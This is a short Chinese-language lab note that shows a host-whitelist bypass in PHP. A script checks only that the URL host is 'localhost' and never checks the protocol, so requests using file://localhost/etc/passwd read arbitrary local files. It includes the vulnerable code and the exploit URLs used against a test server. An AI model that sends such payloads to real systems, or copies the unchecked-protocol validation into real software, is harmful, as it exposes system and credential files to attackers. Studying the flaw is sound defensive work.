目标在请求API或做忘了访问的过程中,可能对Host名进行白名单验证,比如限制只能请求域名是localhost的本地API接口。 如果这次请求没有限制URL的协议,我们可以通过file://localhost/etc/passwd的方式来读取任意文件。
测试环境
PHP 5.4.16+Centos7
<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
exit('error');
}
readfile($url);
这里没有检验协议导致可以读取任意文件
http://192.168.243.135/test/ll.php?url=file://localhost/etc/passwd
读取根目录下的1.txt
http://192.168.243.135/test/ll.php?url=file://localhost/1.txt
读取成功